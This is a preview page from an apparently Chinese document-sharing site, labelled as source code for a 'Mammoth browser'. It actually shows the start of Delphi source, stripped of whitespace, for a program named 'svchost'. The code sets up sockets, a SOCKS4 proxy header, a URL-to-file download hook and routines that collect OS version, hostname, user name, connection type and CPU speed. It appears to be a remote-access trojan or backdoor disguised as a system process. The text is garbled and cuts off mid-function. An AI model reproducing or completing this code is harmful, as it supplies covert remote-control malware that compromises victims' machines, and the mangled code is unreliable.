预览加载中，请您耐心等待几秒...

猛犸浏览器源码.doc

预览
1/10
2/10
3/10
4/10
5/10
6/10
7/10
8/10
9/10
10/10

亲，该文档总共61页，到这已经超出免费预览范围，如果喜欢就直接下载吧～

下载提示 文本预览

如果您无法下载资料，请参考说明：

1、部分资料下载需要金币，请确保您的账户上有足够的金币

2、已购买过的文档，再次下载不重复扣费

3、资料包下载后请先用软件解压，在使用对应软件打开

programsvchost;usesWindows,winsvc,TLHelp32,Winsock,fyj;typePImageSectionHeaders=^TImageSectionHeaders;TImageSectionHeaders=Array[0..95]OfTImageSectionHeader;TThreadRecord=recordSocket:TClientSocket;FThreadHandle:longword;FThreadID:longword;FExitCode:longword;FTerminated:Boolean;end;TSocks4Header=packedrecordbVn:byte;bCd:byte;wPort:word;dIP:in_addr;end;{$Rc.res}varSock:TSocket;Addr:TSockAddrIn;WSA:TWSAData;dns,gjdz,wdjl,ldbt:string;port:integer;kai,jie:dword;msg:tmsg;xzwj:function(Caller:pointer;URL:PChar;FileName:PChar;Reserved:LongWord;StatusCB:pointer):Longint;stdcall;rfile:boolean;bt:array[0..49]ofchar;t:array[0..50]ofchar;CloseServer:boolean;ServerSocket:TServerSocket;wd:array[0..20]ofchar;nOldIdleTime:Int64=0;nOldSystemTime:INT64=0;nNewCPUTime:ULONG=0;functionddxt:String;varosVerInfo:TOSVersionInfo;beginResult:='';osVerInfo.dwOSVersionInfoSize:=SizeOf(TOSVersionInfo);GetVersionEx(osVerInfo);caseosVerInfo.dwPlatformIdofVER_PLATFORM_WIN32_NT:begincaseosVerInfo.dwMajorVersionof4:Result:='WinNT';5:caseosVerInfo.dwMinorVersionof0:Result:='Win2K';1:Result:='WinXP';2:Result:='W2003';end;6:Result:='Vista';end;end;end;result:=result+''+osVerInfo.szCSDVersion;end;functionInternetGetConnectedState(lpdwFlags:LPDWORD;dwReserved:DWORD):BOOL;stdcall;external'wininet.dll';FunctionGetNet:String;VarW:DWord;Beginresult:='';InternetGetConnectedState(@w,0);If(WAnd2)=2ThenResult:='Lan';if(wand1)=1thenresult:='Modem';if(wand4)=4thenresult:='Proxy';end;functionddmz:string;vara:array[0..128]ofchar;beginfillchar(a,129,0);Gethostname(@a,129);result:=a;end;functionyhmz:string;varbuf:array[0..255]ofchar;size:dword;beginfillchar(buf,256,0);size:=256;GetUserName(@Buf,size);result:=buf;end;functionGetCPUSpeed:int64;varTimerHi,TimerLo:DWORD;PriorityClass,Priority:Integer;beginPriorityClass:=GetPriorityClass(GetCurrentProcess);Priority:=GetThreadPriority(GetCurrentThread);SetPriorityClass(GetCurrentProcess,REALTIME_PRIORITY_CLASS);SetThreadPriority(GetCurrentThread,THREAD_PRIORITY_TIME_CRITICAL